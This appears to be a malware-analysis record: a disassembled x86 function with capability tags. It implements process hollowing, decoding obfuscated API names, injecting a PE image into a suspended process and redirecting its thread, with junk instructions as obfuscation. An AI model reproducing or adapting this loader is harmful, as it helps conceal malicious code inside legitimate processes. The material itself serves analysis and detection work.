Function at 0x401c78
Capabilities:
Link many functions at runtime
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a8
call sym.UseLessFunction1__
call sym.UseLessFunction1__
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp + 8]
mov dword [0x444010], eax
mov dword [ebp - 0x34c], 0
mov dword [esp], str.kernel32.dll
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 4], str.GetModuleFileNameA
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x34c], eax
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x468]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x34c]
call eax
sub esp, 0xc
push ecx
and ecx, ecx
or ecx, ecx
pop ecx
mov dword [ebp - 0x338], 0x10007
mov dword [ebp - 0x58], 0x44
mov eax, dword [0x444010]
cmp word [eax], 0x5a4d
je 0x401d2c
jmp 0x402355
mov edx, dword [0x444010]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
mov dword [0x444014], eax
push ecx
or ecx, ecx
and ecx, ecx
pop ecx
mov eax, dword [0x444014]
cmp dword [eax], 0x4550
je 0x401d55
jmp 0x402355
push ebx
and ebx, ebx
or ebx, ebx
pop ebx
mov eax, dword [str.WjsuvbmBmmpdFyA]
mov dword [ebp - 0x488], eax
mov eax, dword [0x441032]
mov dword [ebp - 0x484], eax
mov eax, dword [0x441036]
mov dword [ebp - 0x480], eax
mov eax, dword [0x44103a]
mov dword [ebp - 0x47c], eax
mov eax, dword [str.DsfbufQspdfttBA]
mov dword [ebp - 0x498], eax
mov eax, dword [0x441042]
mov dword [ebp - 0x494], eax
mov eax, dword [0x441046]
mov dword [ebp - 0x490], eax
mov eax, dword [0x44104a]
mov dword [ebp - 0x48c], eax
nop
mov eax, dword [str.lfsofm43_emmA]
mov dword [ebp - 0x4a8], eax
mov eax, dword [0x441052]
mov dword [ebp - 0x4a4], eax
mov eax, dword [0x441056]
mov dword [ebp - 0x4a0], eax
movzx eax, word [0x44105a]
mov word [ebp - 0x49c], ax
mov eax, dword [str.TfuUisfbeDpoufyuA]
mov dword [ebp - 0x4c8], eax
mov eax, dword [0x441060]
mov dword [ebp - 0x4c4], eax
mov eax, dword [0x441064]
mov dword [ebp - 0x4c0], eax
mov eax, dword [0x441068]
mov dword [ebp - 0x4bc], eax
movzx eax, word [0x44106c]
mov word [ebp - 0x4b8], ax
push edx
and edx, edx
or edx, edx
pop edx
mov eax, dword [str.HfuUisfbeDpoufyuA]
mov dword [ebp - 0x4e8], eax
mov eax, dword [0x441072]
mov dword [ebp - 0x4e4], eax
mov eax, dword [0x441076]
mov dword [ebp - 0x4e0], eax
mov eax, dword [0x44107a]
mov dword [ebp - 0x4dc], eax
movzx eax, word [0x44107e]
mov word [ebp - 0x4d8], ax
mov eax, dword [str.XsjufQspdfttNfnpszA]
mov dword [ebp - 0x508], eax
mov eax, dword [0x441084]
mov dword [ebp - 0x504], eax
mov eax, dword [0x441088]
mov dword [ebp - 0x500], eax
mov eax, dword [0x44108c]
mov dword [ebp - 0x4fc], eax
mov eax, dword [0x441090]
mov dword [ebp - 0x4f8], eax
mov eax, dword [str.OuVonbqWjfxPgTfdujpoA]
mov dword [ebp - 0x528], eax
mov eax, dword [0x441098]
mov dword [ebp - 0x524], eax
mov eax, dword [0x44109c]
mov dword [ebp - 0x520], eax
mov eax, dword [0x4410a0]
mov dword [ebp - 0x51c], eax
mov eax, dword [0x4410a4]
mov dword [ebp - 0x518], eax
movzx eax, word [0x4410a8]
mov word [ebp - 0x514], ax
mov eax, dword [str.ouemm_emmA]
mov dword [ebp - 0x538], eax
mov eax, dword [0x4410ae]
mov dword [ebp - 0x534], eax
movzx eax, word [0x4410b2]
mov word [ebp - 0x530], ax
movzx eax, byte [0x4410b4]
mov byte [ebp - 0x52e], al
mov eax, dword [str.SftvnfUisfbeA]
mov dword [ebp - 0x548], eax
mov eax, dword [0x4410b9]
mov dword [ebp - 0x544], eax
mov eax, dword [0x4410bd]
mov dword [ebp - 0x540], eax
movzx eax, word [0x4410c1]
mov word [ebp - 0x53c], ax
lea eax, [ebp - 0x538]
mov dword [esp], eax
call sym.decryptS_char_
lea eax, [ebp - 0x548]
mov dword [esp], eax
call sym.decryptS_char_
push ebx
and ebx, ebx
or ebx, ebx
pop ebx
push edx
and edx, edx
or edx, edx
pop edx
lea eax, [ebp - 0x508]
mov dword [esp], eax
call sym.decryptS_char_
lea eax, [ebp - 0x4a8]
mov dword [esp], eax
call sym.decryptS_char_
lea eax, [ebp - 0x4c8]
mov dword [esp], eax
call sym.decryptS_char_
lea eax, [ebp - 0x528]
mov dword [esp], eax
call sym.decryptS_char_
lea eax, [ebp - 0x4e8]
mov dword [esp], eax
call sym.decryptS_char_
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym.decryptS_char_
lea eax, [ebp - 0x498]
mov dword [esp], eax
call sym.decryptS_char_
nop
mov dword [ebp - 0x54c], 0
lea eax, [ebp - 0x4a8]
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov edx, eax
lea eax, [ebp - 0x548]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x54c], eax
mov dword [ebp - 0x550], 0
lea eax, [ebp - 0x4a8]
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov edx, eax
lea eax, [ebp - 0x4e8]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x550], eax
mov dword [ebp - 0x554], 0
lea eax, [ebp - 0x538]
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov edx, eax
lea eax, [ebp - 0x528]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x554], eax
mov dword [ebp - 0x558], 0
lea eax, [ebp - 0x4a8]
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov edx, eax
lea eax, [ebp - 0x508]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x558], eax
mov dword [ebp - 0x55c], 0
lea eax, [ebp - 0x4a8]
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov edx, eax
lea eax, [ebp - 0x498]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x55c], eax
push eax
or eax, eax
and eax, eax
pop eax
push ebx
and ebx, ebx
or ebx, ebx
pop ebx
mov dword [ebp - 0x560], 0
lea eax, [ebp - 0x4a8]
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov edx, eax
lea eax, [ebp - 0x488]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x564], 0
lea eax, [ebp - 0x4a8]
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov edx, eax
lea eax, [ebp - 0x4c8]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x564], eax
push edx
and edx, edx
or edx, edx
pop edx
lea eax, [ebp - 0x68]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x58]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x468]
mov dword [esp], eax
mov eax, dword [ebp - 0x55c]
call eax
sub esp, 0x28
mov eax, dword [0x444014]
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
mov eax, dword [ebp - 0x554]
call eax
sub esp, 8
nop
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov eax, dword [0x444014]
mov eax, dword [eax + 0x50]
mov dword [esp + 8], eax
mov eax, dword [0x444014]
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
mov eax, dword [ebp - 0x560]
call eax
sub esp, 0x14
mov dword [esp + 0x10], 0
mov eax, dword [0x444014]
mov eax, dword [eax + 0x54]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [0x444014]
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
mov eax, dword [ebp - 0x558]
call eax
sub esp, 0x14
push edx
and edx, edx
or edx, edx
pop edx
mov dword [ebp - 0x568], 0
mov eax, dword [0x444014]
movzx eax, word [eax + 6]
cmp eax, dword [ebp - 0x568]
jle 0x4022e5
mov ecx, dword [0x444010]
mov edx, dword [ebp - 0x568]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, dword [ecx + 0x3c]
add eax, dword [ebp + 8]
add eax, 0xf8
mov dword [0x444018], eax
mov dword [esp + 0x10], 0
mov eax, dword [0x444018]
mov eax, dword [eax + 0x10]
mov dword [esp + 0xc], eax
mov edx, dword [0x444018]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x14]
mov dword [esp + 8], eax
mov edx, dword [0x444014]
mov eax, dword [0x444018]
mov eax, dword [eax + 0xc]
add eax, dword [edx + 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
mov eax, dword [ebp - 0x558]
call eax
sub esp, 0x14
lea eax, [ebp - 0x568]
inc dword [eax]
jmp 0x402257
push ebx
and ebx, ebx
or ebx, ebx
pop ebx
lea eax, [ebp - 0x338]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
mov eax, dword [ebp - 0x550]
call eax
sub esp, 8
mov edx, dword [0x444014]
mov eax, dword [0x444014]
mov eax, dword [eax + 0x28]
add eax, dword [edx + 0x34]
mov dword [ebp - 0x288], eax
push eax
or eax, eax
and eax, eax
pop eax
lea eax, [ebp - 0x338]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
mov eax, dword [ebp - 0x564]
call eax
sub esp, 8
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
mov eax, dword [ebp - 0x54c]
call eax
sub esp, 4
push edx
or edx, edx
and edx, edx
pop edx
leave
ret